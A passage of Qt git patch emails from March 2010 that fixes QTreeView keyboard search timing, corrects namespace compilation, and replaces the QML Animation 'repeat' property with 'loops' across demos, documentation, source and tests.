a/src/gui/itemviews/qtreeview.cpp +++ b/src/gui/itemviews/qtreeview.cpp @@ -962,17 +962,16 @@ void QTreeView::keyboardSearch(const QString &search) else start = d->model->index(0, 0, d->root); - QElapsedTimer now; - now.start(); bool skipRow = false; - if (search.isEmpty() - || (d->keyboardInputTime.msecsTo(now) > QApplication::keyboardInputInterval())) { + bool keyboardTimeWasValid = d->keyboardInputTime.isValid(); + qint64 keyboardInputTimeElapsed = d->keyboardInputTime.restart(); + if (search.isEmpty() || !keyboardTimeWasValid + || keyboardInputTimeElapsed > QApplication::keyboardInputInterval()) { d->keyboardInput = search; - skipRow = true; + skipRow = currentIndex().isValid(); //if it is not valid we should really start at QModelIndex(0,0) } else { d->keyboardInput += search; } - d->keyboardInputTime = now; // special case for searches with same key like 'aaaaa' bool sameKey = false; -- cgit v0.12 From 8218a16815d883823d3411be9896332b997f3e91 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Wed, 24 Mar 2010 19:20:21 +0100 Subject: Update changelog --- dist/changes-4.7.0 | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/dist/changes-4.7.0 b/dist/changes-4.7.0 index 76fa7f8..b9aa64d 100644 --- a/dist/changes-4.7.0 +++ b/dist/changes-4.7.0 @@ -41,6 +41,16 @@ Third party components * Library * **************************************************************************** +QtCore +------ + +QtGui +----- + + - QAbstractItemView + * Fixed a bug that would cause keyboard searches not to behave + properly when used within 400 milliseconds of midnight. + - QPrinter * Obsoleted the slightly confusing setNumCopies() and numCopies() functions, and replaced them with setCopyCount(), copyCount() and -- cgit v0.12 From 84a14c182d7691ea919c335453771b41d8a7ed25 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 08:21:27 +1000 Subject: Compile with qtnamespace --- src/declarative/util/qdeclarativexmllistmodel.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 03ddddf..f7beeaa 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -60,9 +60,10 @@ #include +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) + QT_BEGIN_NAMESPACE -Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) typedef QPair QDeclarativeXmlListRange; -- cgit v0.12 From 668c9d63d27b2a925c18f3128747c20b37560569 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 08:44:20 +1000 Subject: Fix compile in namespace. --- src/declarative/util/qdeclarativexmllistmodel.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 03ddddf..0c0b38d 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -60,10 +60,10 @@ #include -QT_BEGIN_NAMESPACE - Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) +QT_BEGIN_NAMESPACE + typedef QPair QDeclarativeXmlListRange; /*! -- cgit v0.12 From 13d9f49577dd5be8c01792b6d7709c2e9b28aa95 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 10:09:17 +1000 Subject: Replace Animation's repeat property with loops. You can now loop a fixed number of times as well as forever. The old repeat behavior (loop forever) can be acheived with loops: Qt.Infinite. --- demos/declarative/flickr/common/Loading.qml | 4 +- .../photoviewer/PhotoViewerCore/BusyIndicator.qml | 2 +- demos/declarative/twitter/TwitterCore/Loading.qml | 4 +- doc/src/declarative/animation.qdoc | 2 +- .../declarative/animations/color-animation.qml | 10 ++--- .../declarative/animations/property-animation.qml | 2 +- .../border-image/content/MyBorderImage.qml | 4 +- examples/declarative/effects/effects.qml | 4 +- examples/declarative/fillmode/fillmode.qml | 2 +- examples/declarative/fonts/banner.qml | 2 +- examples/declarative/fonts/hello.qml | 4 +- .../listview/content/ClickAutoRepeating.qml | 2 +- examples/declarative/parallax/qml/Smiley.qml | 2 +- examples/declarative/progressbar/progressbars.qml | 6 +-- examples/declarative/tvtennis/tvtennis.qml | 2 +- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/QmlChanges.txt | 1 + src/declarative/qml/qdeclarativedom.cpp | 6 +-- src/declarative/qml/qdeclarativeengine.cpp | 2 + src/declarative/util/qdeclarativeanimation.cpp | 52 +++++++++++++--------- src/declarative/util/qdeclarativeanimation_p.h | 9 ++-- src/declarative/util/qdeclarativeanimation_p_p.h | 8 ++-- src/declarative/util/qdeclarativespringfollow.cpp | 6 +-- .../qdeclarativeanimations/data/dontAutoStart.qml | 2 +- .../tst_qdeclarativeanimations.cpp | 4 +- .../declarative/visual/animation/loop/loop.qml | 2 +- .../animation/pauseAnimation/pauseAnimation.qml | 2 +- .../content/MyBorderImage.qml | 4 +- .../visual/qdeclarativeeasefollow/easefollow.qml | 2 +- .../visual/qdeclarativespringfollow/follow.qml | 2 +- .../visual/qdeclarativetext/elide/elide2.qml | 2 +- .../visual/qdeclarativetext/elide/multilength.qml | 2 +- .../visual/qdeclarativetextedit/cursorDelegate.qml | 2 +- .../qdeclarativetextinput/cursorDelegate.qml | 2 +- .../visual/webview/zooming/renderControl.qml | 2 +- .../visual/webview/zooming/resolution.qml | 2 +- .../visual/webview/zooming/zoomTextOnly.qml | 2 +- 37 files changed, 93 insertions(+), 77 deletions(-) diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml index 938a080..87a4ef9 100644 --- a/demos/declarative/flickr/common/Loading.qml +++ b/demos/declarative/flickr/common/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "pics/loading.png"; transformOrigin: "Center" + id: loading; source: "pics/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml index 919ac43..fc83766 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml @@ -5,5 +5,5 @@ Image { property bool on: false source: "images/busy.png"; visible: container.on - NumberAnimation on rotation { running: container.on; from: 0; to: 360; repeat: true; duration: 1200 } + NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Qt.Infinite; duration: 1200 } } diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml index 76bf64b..e403b8d 100644 --- a/demos/declarative/twitter/TwitterCore/Loading.qml +++ b/demos/declarative/twitter/TwitterCore/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "images/loading.png"; transformOrigin: "Center" + id: loading; source: "images/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 } } diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 7e0a787..00993f0 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml index 025134b..5d313c1 100644 --- a/examples/declarative/animations/color-animation.qml +++ b/examples/declarative/animations/color-animation.qml @@ -12,7 +12,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } } @@ -20,7 +20,7 @@ Item { GradientStop { position: 1.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } } @@ -32,7 +32,7 @@ Item { Item { width: parent.width; height: 2 * parent.height transformOrigin: Item.Center - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; repeat: true } + NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Qt.Infinite } Image { source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter transformOrigin: Item.Center; rotation: -3 * parent.rotation @@ -46,7 +46,7 @@ Item { source: "images/star.png"; angleDeviation: 360; velocity: 0 velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 SequentialAnimation on opacity { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 0; to: 1; duration: 5000 } NumberAnimation { from: 1; to: 0; duration: 5000 } } @@ -60,7 +60,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } } diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml index 4428f34..d33b55d 100644 --- a/examples/declarative/animations/property-animation.qml +++ b/examples/declarative/animations/property-animation.qml @@ -43,7 +43,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Qt.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml index 5621e18..bd0f5fb 100644 --- a/examples/declarative/border-image/content/MyBorderImage.qml +++ b/examples/declarative/border-image/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 SequentialAnimation on width { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } SequentialAnimation on height { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml index 997d7de..45246a9 100644 --- a/examples/declarative/effects/effects.qml +++ b/examples/declarative/effects/effects.qml @@ -16,7 +16,7 @@ Rectangle { running: false from: 0; to: 10 duration: 1000 - repeat: true + loops: Qt.Infinite } } @@ -33,7 +33,7 @@ Rectangle { effect: DropShadow { blurRadius: 3 offset.x: 3 - NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; repeat: true; } + NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Qt.Infinite; } } MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running } diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml index ab0f81c..effb964 100644 --- a/examples/declarative/fillmode/fillmode.qml +++ b/examples/declarative/fillmode/fillmode.qml @@ -5,7 +5,7 @@ Image { height: 250 source: "face.png" SequentialAnimation on fillMode { - repeat: true + loops: Qt.Infinite PropertyAction { value: Image.Stretch } PropertyAction { target: label; property: "text"; value: "Stretch" } PauseAnimation { duration: 1000 } diff --git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml index 7989f80..bb4fe24 100644 --- a/examples/declarative/fonts/banner.qml +++ b/examples/declarative/fonts/banner.qml @@ -10,7 +10,7 @@ Rectangle { Row { y: -screen.height / 4.5 - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; repeat: true } + NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Qt.Infinite } Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml index 334409e..f703167 100644 --- a/examples/declarative/fonts/hello.qml +++ b/examples/declarative/fonts/hello.qml @@ -10,7 +10,7 @@ Rectangle { text: "Hello world!"; font.pixelSize: 60 SequentialAnimation on font.letterSpacing { - repeat: true; + loops: Qt.Infinite; NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 } ScriptAction { script: { container.y = (screen.height / 4) + (Math.random() * screen.height / 2) @@ -18,7 +18,7 @@ Rectangle { } } } SequentialAnimation on opacity { - repeat: true; + loops: Qt.Infinite; NumberAnimation { from: 1; to: 0; duration: 2600 } PauseAnimation { duration: 400 } } diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml index 5240e65..8ef4a52 100644 --- a/examples/declarative/listview/content/ClickAutoRepeating.qml +++ b/examples/declarative/listview/content/ClickAutoRepeating.qml @@ -18,7 +18,7 @@ Item { ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatdelay } SequentialAnimation { - repeat: true + loops: Qt.Infinite ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatperiod } } diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml index 4442d5e..75302a3 100644 --- a/examples/declarative/parallax/qml/Smiley.qml +++ b/examples/declarative/parallax/qml/Smiley.qml @@ -25,7 +25,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Qt.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml index a66d544..ced3ccd 100644 --- a/examples/declarative/progressbar/progressbars.qml +++ b/examples/declarative/progressbar/progressbars.qml @@ -14,9 +14,9 @@ Rectangle { ProgressBar { property int r: Math.floor(Math.random() * 5000 + 1000) width: main.width - 20 - NumberAnimation on value { duration: r; from: 0; to: 100; repeat: true } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; repeat: true } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; repeat: true } + NumberAnimation on value { duration: r; from: 0; to: 100; loops: Qt.Infinite } + ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Qt.Infinite } + ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Qt.Infinite } } } } diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml index 6022a15..138d587 100644 --- a/examples/declarative/tvtennis/tvtennis.qml +++ b/examples/declarative/tvtennis/tvtennis.qml @@ -21,7 +21,7 @@ Rectangle { // Move the ball to the right and back to the left repeatedly SequentialAnimation on x { - repeat: true + loops: Qt.Infinite NumberAnimation { to: page.width - 40; duration: 2000 } ScriptAction { script: paddle.play() } PropertyAction { target: ball; property: "direction"; value: "left" } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index b65a29d..b0f568f 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -18,7 +18,7 @@ Item { NumberAnimation on rotation { from: 0 to: 360 - repeat: true + loops: Qt.Infinite duration: root.period } } diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index fcb1228..b85cfb6 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -12,6 +12,7 @@ Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) ScriptAction: renamed stateChangeScriptName -> scriptName +Animation: replace repeat with loops (loops: Qt.Infinite gives the old repeat behavior) C++ API ------- diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index cb56ead..e374a93 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -1107,8 +1107,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Qt.Infinite } } \endqml @@ -1156,8 +1155,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Qt.Infinite } } \endqml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d4872e2..b4362ce 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -218,6 +218,8 @@ QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *pr // XXX When the above a done some better way, that way should also be // XXX used to add Qt.Sound class. + //for animations that loop forever + qtObject.setProperty(QLatin1String("Infinite"), -1); //types qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4)); diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index c17012c..81ab3d3 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -190,9 +190,13 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) d->running = r; if (d->running) { - if (d->alwaysRunToEnd && d->repeat + if (d->alwaysRunToEnd && d->loopCount != 1 && qtAnimation()->state() == QAbstractAnimation::Running) { - qtAnimation()->setLoopCount(-1); + //we've restarted before the final loop finished; restore proper loop count + if (d->loopCount == -1) + qtAnimation()->setLoopCount(d->loopCount); + else + qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount); } if (!d->connectedTimeLine) { @@ -204,8 +208,8 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) emit started(); } else { if (d->alwaysRunToEnd) { - if (d->repeat) - qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); + if (d->loopCount != 1) + qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); //finish the current loop } else qtAnimation()->stop(); @@ -300,10 +304,12 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) } /*! - \qmlproperty bool Animation::repeat - This property holds whether the animation should repeat. + \qmlproperty int Animation::loops + This property holds the number of times the animation should play. + + By default, \c loops is 1: the animation will play through once and then stop. - If set, the animation will continuously repeat until it is explicitly + If set to Qt.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the \c running property to false, or by calling the \c stop() method. @@ -311,28 +317,33 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) \code Rectangle { - NumberAnimation on rotation { running: true; repeat: true; from: 0 to: 360 } + width: 100; height: 100; color: "green" + RotationAnimation on rotation { + loops: Qt.Infinite + from: 0 + to: 360 + } } \endcode */ -bool QDeclarativeAbstractAnimation::repeat() const +int QDeclarativeAbstractAnimation::loops() const { Q_D(const QDeclarativeAbstractAnimation); - return d->repeat; + return d->loopCount; } -void QDeclarativeAbstractAnimation::setRepeat(bool r) +void QDeclarativeAbstractAnimation::setLoops(int loops) { Q_D(QDeclarativeAbstractAnimation); - if (r == d->repeat) + if (loops == d->loopCount) return; - d->repeat = r; - int lc = r ? -1 : 1; - qtAnimation()->setLoopCount(lc); - emit repeatChanged(r); + d->loopCount = loops; + qtAnimation()->setLoopCount(loops); + emit loopCountChanged(loops); } + int QDeclarativeAbstractAnimation::currentTime() { return qtAnimation()->currentLoopTime(); @@ -509,8 +520,9 @@ void QDeclarativeAbstractAnimation::timelineComplete() { Q_D(QDeclarativeAbstractAnimation); setRunning(false); - if (d->alwaysRunToEnd && d->repeat) { - qtAnimation()->setLoopCount(-1); + if (d->alwaysRunToEnd && d->loopCount != 1) { + //restore the proper loopCount for the next run + qtAnimation()->setLoopCount(d->loopCount); } } @@ -1586,7 +1598,7 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int \qml Rectangle { SequentialAnimation on x { - repeat: true + loops: Qt.Infinite PropertyAnimation { to: 50 } PropertyAnimation { to: 0 } } @@ -1995,7 +2007,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) id: theRect width: 100; height: 100 color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; repeat: true } //animate theRect's x property + NumberAnimation on x { to: 500; loops: Qt.Infinite } //animate theRect's x property Behavior on y { NumberAnimation {} } //animate theRect's y property } \endqml diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 33d5c35..2e5b87c 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -73,7 +73,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) - Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) + Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopsChanged) Q_CLASSINFO("DefaultMethod", "start()") public: @@ -86,8 +86,9 @@ public: void setPaused(bool); bool alwaysRunToEnd() const; void setAlwaysRunToEnd(bool); - bool repeat() const; - void setRepeat(bool); + + int loops() const; + void setLoops(int); int currentTime(); void setCurrentTime(int); @@ -106,8 +107,8 @@ Q_SIGNALS: void completed(); void runningChanged(bool); void pausedChanged(bool); - void repeatChanged(bool); void alwaysRunToEndChanged(bool); + void loopCountChanged(int); public Q_SLOTS: void restart(); diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index decd993..3908e50 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -225,19 +225,21 @@ class QDeclarativeAbstractAnimationPrivate : public QObjectPrivate Q_DECLARE_PUBLIC(QDeclarativeAbstractAnimation) public: QDeclarativeAbstractAnimationPrivate() - : running(false), paused(false), alwaysRunToEnd(false), repeat(false), + : running(false), paused(false), alwaysRunToEnd(false), connectedTimeLine(false), componentComplete(true), - avoidPropertyValueSourceStart(false), disableUserControl(false), group(0) {} + avoidPropertyValueSourceStart(false), disableUserControl(false), + loopCount(1), group(0) {} bool running:1; bool paused:1; bool alwaysRunToEnd:1; - bool repeat:1; bool connectedTimeLine:1; bool componentComplete:1; bool avoidPropertyValueSourceStart:1; bool disableUserControl:1; + int loopCount; + void commence(); QDeclarativeProperty defaultProperty; diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index 1d69dd3..ca88b24 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -224,11 +224,11 @@ void QDeclarativeSpringFollowPrivate::stop() color: "#00ff00" y: 200 // initial value SequentialAnimation on y { - running: true - repeat: true + loops: Qt.Infinite NumberAnimation { to: 200 - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 2000 } PauseAnimation { duration: 1000 } diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml index 408ad87..ed43082 100644 --- a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml +++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml @@ -10,7 +10,7 @@ Rectangle { width: 100; height: 100 color: Qt.rgba(1,0,0) Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; repeat: true} + NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Qt.Infinite} } } diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index bce7166..f018ce1 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -204,9 +204,9 @@ void tst_qdeclarativeanimations::alwaysRunToEnd() animation.setProperty("x"); animation.setTo(200); animation.setDuration(1000); - animation.setRepeat(true); + animation.setLoops(-1); animation.setAlwaysRunToEnd(true); - QVERIFY(animation.repeat() == true); + QVERIFY(animation.loops() == -1); QVERIFY(animation.alwaysRunToEnd() == true); animation.start(); QTest::qWait(1500); diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index f6049ae..36f3ece 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -14,7 +14,7 @@ Rectangle { back to 100, jumps to 200, and so on. */ x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } } diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 24ca76b..0429171 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -11,7 +11,7 @@ Rectangle { x: 60-width/2 y: 200-height y: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index e268ce7..2beb1dd 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -19,13 +19,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 width: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } height: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index bd3270f..c9e65fe 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index 62503e4..4809a9c 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -8,7 +8,7 @@ Rectangle { color: "#00ff00" y: 200; width: 60; height: 20 y: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 20; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml index c163e05..7b1042b 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml @@ -5,7 +5,7 @@ Rectangle { height: 100 Text { - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 5000 } + width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 5000 } elide: Text.ElideRight text: 'Here is some very long text that we should truncate when sizing window' } diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml index ca41eab..21763b2 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml @@ -11,7 +11,7 @@ Rectangle { anchors.centerIn: parent Text { id: myText - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 1000 } + width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 1000 } elide: "ElideRight" text: "Brevity is the soul of wit, and tediousness the limbs and outward flourishes.\x9CBrevity is a great charm of eloquence.\x9CBe 